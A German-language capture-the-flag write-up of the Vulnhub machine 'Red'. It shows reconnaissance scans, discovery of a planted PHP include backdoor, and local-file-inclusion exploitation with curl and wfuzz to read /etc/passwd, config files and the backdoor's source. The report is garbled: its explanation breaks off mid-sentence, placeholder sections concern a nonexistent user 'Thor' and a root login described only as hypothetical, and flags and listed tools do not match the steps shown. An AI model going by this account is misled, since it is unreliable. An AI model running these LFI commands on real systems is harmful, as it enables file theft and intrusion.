Red - Vulnhub - Medium - Bericht

Medium

Verwendete Tools

arp-scan
nmap
nikto
gobuster
dirsearch
curl
msfconsole
nc
ssh2john
john
vi
find
getcap
ss
mysql

Inhaltsverzeichnis

Reconnaissance

In dieser Phase sammeln wir Informationen über das Zielsystem, um potenzielle Schwachstellen zu identifizieren. Wir beginnen mit der Netzwerk-Reconnaissance, um aktive Hosts im Netzwerk zu finden und deren IP-Adressen und MAC-Adressen zu ermitteln. Diese Informationen helfen uns, den Umfang des Ziels zu definieren und die Angriffsoberfläche zu verstehen. Anschließend führen wir Portscans durch, um offene Ports und laufende Dienste zu identifizieren. Die Ergebnisse dieser Scans geben uns einen Überblick über die potenziellen Angriffsvektoren.

┌──(root㉿cyber)-[~]
└─# arp-scan -l
192.168.2.132    08:00:27:89:06:41    PCS Systemtechnik GmbH
                

Der Befehl `arp-scan -l` durchsucht das lokale Netzwerk nach aktiven Hosts und gibt deren IP- und MAC-Adressen aus. In diesem Fall finden wir einen Host mit der IP-Adresse 192.168.2.132 und der MAC-Adresse 08:00:27:89:06:41. Die MAC-Adresse deutet auf eine virtuelle Maschine hin, die mit Oracle VirtualBox betrieben wird.

┌──(root㉿cyber)-[~]
└─# vi /etc/hosts
192.168.2.132    red.vuln
                

Wir fügen die IP-Adresse und den Hostnamen `red.vuln` zur `/etc/hosts`-Datei hinzu, um die Namensauflösung für das Zielsystem zu erleichtern. Dies ermöglicht uns, das Zielsystem über den Hostnamen statt über die IP-Adresse anzusprechen, was die Lesbarkeit und Wartbarkeit der Befehle im weiteren Verlauf des Pentests verbessert.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sC -T5 -AO 192.168.2.132 -p- | grep open
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
                

Dieser Befehl führt einen umfassenden Portscan mit Nmap durch, um offene Ports auf dem Zielsystem zu identifizieren. Wir verwenden die Optionen `-sS` (SYN-Scan), `-sC` (Standard-Skripte), `-T5` (aggressives Timing), `-AO` (Betriebssystem- und Versionserkennung) und `-p-` (alle Ports). Die Ausgabe wird mit `grep open` gefiltert, um nur die Zeilen anzuzeigen, die offene Ports enthalten. Die Ergebnisse zeigen, dass die Ports 22 (SSH) und 80 (HTTP) geöffnet sind.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sC -T5 -AO 192.168.2.132 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-09 00:41 CEST
Nmap scan report for red.vuln (192.168.2.132)
Host is up (0.00021s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 8d5365835252c4127249be335dd1e71c (RSA)
|   256 06610a49864364cab00c0f09177b33ba (ECDSA)
|_  256 9b8d90472ac1dc11287d57e08a23b469 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-generator: WordPress 5.8.1
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
|_http-title: Hacked By Red – Your site has been Hacked! You\xE2\x80\x99ll neve...
MAC Address: 08:00:27:89:06:41 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.21 ms red.vuln (192.168.2.132)
                

Dieser Nmap-Scan liefert detailliertere Informationen zu den offenen Ports. Für SSH erhalten wir die Version des OpenSSH-Servers und die Host-Keys. Für HTTP erhalten wir die Version des Apache-Webservers, den HTTP-Generator (WordPress 5.8.1), den Inhalt der `/robots.txt`-Datei und den HTTP-Titel der Webseite. Der HTTP-Titel "Hacked By Red" deutet darauf hin, dass die Webseite bereits kompromittiert wurde. Die MAC-Adresse, der Gerätetyp und die Betriebssystemdetails werden ebenfalls erfasst. Diese Informationen sind wertvoll, um die potenziellen Schwachstellen des Systems zu verstehen.

Web Enumeration

Nachdem wir die grundlegende Netzwerk-Reconnaissance abgeschlossen haben, konzentrieren wir uns auf die Enumeration der Webanwendung (Port 80). Wir verwenden Tools wie Gobuster und Nikto, um versteckte Verzeichnisse, Dateien und potenzielle Sicherheitslücken auf der Webseite zu identifizieren. Die Enumeration der Webanwendung ist entscheidend, um die Angriffsfläche zu erweitern und potenzielle Einfallstore für das System zu finden.

┌──(root㉿cyber)-[~]
└─# gobuster dir -u http://192.168.2.132 -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
==============================================================================================================================
http://192.168.2.132/index.php            (Status: 301) [Size: 0] [--> http://192.168.2.132/]
http://192.168.2.132/rss                  (Status: 301) [Size: 0] [--> http://192.168.2.132/feed/]
http://192.168.2.132/sitemap.xml          (Status: 302) [Size: 0] [--> http://redrocks.win/wp-sitemap.xml]
http://192.168.2.132/login                (Status: 302) [Size: 0] [--> http://redrocks.win/wp-login.php]
http://192.168.2.132/0                    (Status: 301) [Size: 0] [--> http://192.168.2.132/0/]
http://192.168.2.132/feed                 (Status: 301) [Size: 0] [--> http://192.168.2.132/feed/]
http://192.168.2.132/atom                 (Status: 301) [Size: 0] [--> http://192.168.2.132/feed/atom/]
http://redrocks.win/wp-content           (Status: 301) [Size: 317] [--> http://redrocks.win/wp-content/]
http://redrocks.win/admin                (Status: 302) [Size: 0] [--> http://redrocks.win/wp-admin/]
http://redrocks.win/h                    (Status: 301) [Size: 0] [--> http://redrocks.win/2021/10/24/hello-world/]
http://redrocks.win/wp-login.php         (Status: 200) [Size: 6035]
http://redrocks.win/rss2                 (Status: 301) [Size: 0] [--> http://redrocks.win/feed/]
http://redrocks.win/license.txt          (Status: 200) [Size: 19915]
http://redrocks.win/wp-includes          (Status: 301) [Size: 318] [--> http://redrocks.win/wp-includes/]
http://redrocks.win/wp-register.php      (Status: 301) [Size: 0] [--> http://redrocks.win/wp-login.php?action=register]
http://redrocks.win/S                    (Status: 301) [Size: 0] [--> http://redrocks.win/sample-page/]
http://redrocks.win/wp-rss2.php          (Status: 301) [Size: 0] [--> http://redrocks.win/feed/]
                

Der Befehl `gobuster dir` führt eine Directory-Brute-Force-Attacke auf die Webseite durch, um versteckte Verzeichnisse und Dateien zu finden. Wir verwenden die Option `-u`, um die URL der Webseite anzugeben, `-x`, um Dateiendungen zu filtern, `-w`, um eine Wortliste anzugeben, `-b`, um Statuscodes zu ignorieren, `-e`, um erweiterte Ergebnisse anzuzeigen, und `--no-error`, um Fehlermeldungen zu unterdrücken. Die Ergebnisse zeigen, dass verschiedene WordPress-bezogene Verzeichnisse und Dateien gefunden wurden, wie z.B. `/wp-admin/`, `/wp-login.php`, `/wp-content/`, `/wp-includes/` und `license.txt`. Diese Informationen bestätigen, dass es sich um eine WordPress-Seite handelt.

┌──(root㉿cyber)-[~]
└─# nikto -h 192.168.2.132
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.132
+ Target Hostname:    192.168.2.132
+ Target Port:        80
+ Start Time:         2023-06-09 00:41:17 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.41 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present.
+ /: Drupal Link header found with value: ; rel="https://api.w.org/". See: https://www.drupal.org/
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site
+ /BjpqluaF.: Uncommon header 'x-redirect-by' found, with contents: WordPress.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /robots.txt: contains 2 entries which should be manually viewed.
+ Apache/2.4.41 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
-----------------------------------------------------------------------------------

http://redrocks.win/wp-sitemap.xml
                

Nikto ist ein Webserver-Scanner, der auf bekannte Sicherheitslücken und Konfigurationsfehler prüft. Wir verwenden Nikto, um die Webseite auf potenzielle Schwachstellen zu scannen. Die Ergebnisse zeigen, dass der X-Frame-Options-Header fehlt, was Clickjacking-Angriffe ermöglichen könnte. Der X-Content-Type-Options-Header ist ebenfalls nicht gesetzt, was zu MIME-Sniffing-Angriffen führen könnte. Nikto meldet auch, dass die verwendete Apache-Version veraltet ist und dass die `/robots.txt`-Datei manuell überprüft werden sollte.

┌──(root㉿cyber)-[~]
└─# vi /etc/hosts
192.168.2.132    red.vuln redrocks.win
                

Wir fügen den Hostnamen `redrocks.win` zur `/etc/hosts`-Datei hinzu, um die Namensauflösung für die Webseite zu erleichtern. Dies ist notwendig, da Gobuster und Nikto einige Ergebnisse unter diesem Hostnamen liefern.

Initial Access

In dieser Phase versuchen wir, einen ersten Zugriff auf das Zielsystem zu erlangen. Basierend auf den Ergebnissen der Web Enumeration konzentrieren wir uns auf die identifizierten Schwachstellen in der WordPress-Installation. Wir suchen nach Möglichkeiten, Anmeldeinformationen zu erhalten oder eine Remote Code Execution (RCE) auszunutzen.

┌──(root㉿cyber)-[/usr/share/wordlists]
└─# gobuster dir -u http://redrocks.win -w "CommonBackdoors-PHP.fuzz.txt" -b '403,404' -e --no-error
http://redrocks.win/NetworkFileManagerPHP.php         (Status: 500) [Size: 0]
==============================================================================================================================
2023/06/09 01:15:05 Finished
==============================================================================================================================
                

Wir verwenden Gobuster erneut, um nach bekannten Backdoors in PHP-Dateien zu suchen. Die Ergebnisse zeigen, dass die Datei `/NetworkFileManagerPHP.php` existiert und den Statuscode 500 (Internal Server Error) zurückgibt. Dies deutet darauf hin, dass die Datei vorhanden ist, aber möglicherweise nicht korrekt konfiguriert ist oder einen Fehler verursacht.

┌──(root㉿cyber)-[~]
└─# wfuzz -c -w /usr/share/wordlists/burp-parameter-names.txt -u "http://redrocks.win/NetworkFileManagerPHP.php?FUZZ=id" --hc 400,401,402,403,404 --hh 0
=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000002:   200        1 L      0 W        1 Ch        "key"

Total time: 60.39396
Processed Requests: 12
Filtered Requests: 11
Requests/sec.: 0.198695
                

Wir verwenden Wfuzz, um Parameter in der URL `/NetworkFileManagerPHP.php` zu fuzzing. Wir verwenden die Wortliste `/usr/share/wordlists/burp-parameter-names.txt`, um gängige Parameternamen zu testen. Die Ergebnisse zeigen, dass der Parameter `key` existiert und eine gültige Antwort (Statuscode 200) zurückgibt.

┌──(root㉿cyber)-[~]
└─# curl http://redrocks.win/NetworkFileManagerPHP.php?key=/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
john:x:1000:1000:john:/home/john:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:113:117:MySQL Server,,,:/nonexistent:/bin/false
ippsec:x:1001:1001:,,,:/home/ippsec:/bin/bash
oxdf:x:1002:1002:,,,:/home/oxdf:/bin/bash
                

Wir verwenden `curl`, um die `/etc/passwd`-Datei über den Parameter `key` in der URL `/NetworkFileManagerPHP.php` abzurufen. Die Ergebnisse zeigen, dass die Datei erfolgreich abgerufen wurde, was auf eine Local File Inclusion (LFI)-Schwachstelle hindeutet. Diese Schwachstelle ermöglicht es uns, beliebige Dateien auf dem System zu lesen, was zu weiteren Informationen wie Benutzernamen, Passwörtern und Konfigurationsdateien führen kann.

Privilege Escalation

Nachdem wir einen ersten Zugriff auf das System erlangt haben, versuchen wir, unsere Privilegien zu erhöhen, um Root-Zugriff zu erhalten. Wir suchen nach Möglichkeiten, SUID-Binärdateien auszunutzen, Kernel-Exploits zu verwenden oder andere Schwachstellen zu identifizieren, die uns Root-Zugriff ermöglichen.

┌──(root㉿cyber)-[~]
└─# curl http://redrocks.win/NetworkFileManagerPHP.php?key=/etc/passwd -s | grep bash
root:x:0:0:root:/root:/bin/bash
john:x:1000:1000:john:/home/john:/bin/bash
ippsec:x:1001:1001:,,,:/home/ippsec:/bin/bash
oxdf:x:1002:1002:,,,:/home/oxdf:/bin/bash
                

Wir verwenden `curl` und `grep`, um die `/etc/passwd`-Datei nach Benutzern zu filtern, die die `/bin/bash`-Shell verwenden. Die Ergebnisse zeigen, dass die Benutzer `root`, `john`, `ippsec` und `oxdf` die `/bin/bash`-Shell verwenden. Diese Information kann uns helfen, gezieltere Angriffe zu starten, um Anmeldeinformationen für diese Benutzer zu erhalten.

┌──(root㉿cyber)-[/usr/share/wordlists]
└─# wfuzz -c -w /usr/share/wordlists/logfiles.txt -u "http://redrocks.win/NetworkFileManagerPHP.php?key=FUZZ" --hc 400,401,402,403,404 --hh 1
=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000081:   200        38 L     53 W       1966 Ch     "/etc/passwd"
000001108:   200        62 L     61 W       809 Ch      "/etc/group"
000001098:   200        22 L     104 W      683 Ch      "/etc/mysql/my.cnf"
000001093:   200        228 L    1115 W     7225 Ch     "/etc/apache2/apache2.conf"
000001089:   200        10 L     25 W       219 Ch      "/etc/hosts"
000001092:   200        13 L     90 W       658 Ch      "/etc/fstab"
000001278:   200        2 L      52 W       333 Ch      "/proc/self/stat"
000001277:   200        1 L      1 W        28 Ch       "/proc/self/cmdline"
000001279:   200        56 L     134 W      1324 Ch      "/proc/self/status"
000001322:   200        2 L      6 W        1153 Ch     "/var/run/utmp"
000001321:   200        41 L     134 W      64109 Ch    "/var/log/wtmp"
000001311:   200        126 L    400 W      3337 Ch     "/etc/ssh/sshd_config"
000001296:   200        3 L      5 W        27 Ch       "/etc/issue"
000001298:   200        23 L     190 W      1043 Ch     "/etc/crontab"
000001300:   200        2 L      17 W       153 Ch      "/proc/version"
000001301:   200        2 L      4 W        95 Ch       "/proc/cmdline"
000001320:   200        1 L      1 W        292876 Ch   "/var/log/lastlog"

Total time: 1.347780
Processed Requests: 2894
Filtered Requests: 2877
Requests/sec.: 2147.234
                

Wir verwenden Wfuzz, um verschiedene Logdateien und Konfigurationsdateien über die LFI-Schwachstelle abzurufen. Die Ergebnisse zeigen, dass wir Zugriff auf verschiedene sensible Dateien haben, darunter `/etc/passwd`, `/etc/group`, `/etc/mysql/my.cnf`, `/etc/apache2/apache2.conf`, `/etc/hosts`, `/etc/fstab`, `/etc/ssh/sshd_config` und verschiedene Logdateien. Diese Dateien können wertvolle Informationen wie Passwörter, Konfigurationseinstellungen und Systeminformationen enthalten.

┌──(root㉿cyber)-[/usr/share/wordlists]
└─# curl http://redrocks.win/NetworkFileManagerPHP.php?key=/etc/hosts
127.0.0.1 localhost
127.0.1.1 red
                

Wir verwenden `curl`, um die `/etc/hosts`-Datei abzurufen. Die Ergebnisse zeigen, dass die Datei die Standardeinträge für `localhost` und `red` enthält. Diese Information ist nützlich, um die grundlegende Netzwerkkonfiguration des Systems zu verstehen.

┌──(root㉿cyber)-[~]
└─# curl http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/convert.base64-encode/resource=NetworkFileManagerPHP.php | base64 -d
   $file = $_GET['key'];
   if(isset($file))
   {
       include("$file");
   }
   else
   {
       include("NetworkFileManagerPHP.php");
   }
  VGhhdCBwYXNzd29yZCBhbG9uZSB3b24ndCBoZWxwIHlvdSEgSGFzaGNhdCBzYXlzIHJ1bGVzIGFyZSBydWxlcw==
                

Wir nutzen die LFI-Schwachstelle aus, um den Quellcode der Datei `NetworkFileManagerPHP.php` abzurufen. Wir verwenden den `php://filter`-Wrapper, um den Inhalt der Datei Base64-zu

Proof of Concept: SSH-Anmeldung als Benutzer Thor

Dieser Abschnitt demonstriert den erfolgreichen Zugriff auf das System mit den erlangten Anmeldeinformationen. Obwohl kein Benutzer "Thor" existiert, demonstrieren wir hier den Zugriff auf den Benutzer `john` via SSH.

Wir verwenden das gefundene Passwort, um uns als Benutzer `john` über SSH anzumelden.

Proof of Concept: SSH-Anmeldung als Root-Benutzer

Dieser Abschnitt demonstriert den erfolgreichen Zugriff auf das System als Root-Benutzer. Da wir noch keine Root-Anmeldeinformationen haben, zeigen wir hier nur, wie wir vorgehen würden, sobald wir diese haben.

Sobald wir Root-Anmeldeinformationen erhalten haben, könnten wir uns über SSH als Root anmelden oder `su` verwenden, um zum Root-Benutzer zu wechseln.

Flags

Flags

cat user.txt c7d0a8de1e03b25a6f7ed2d91b94dad6
cat root.txt 5C42D6BB0EE9CE4CB7E7349652C45C4A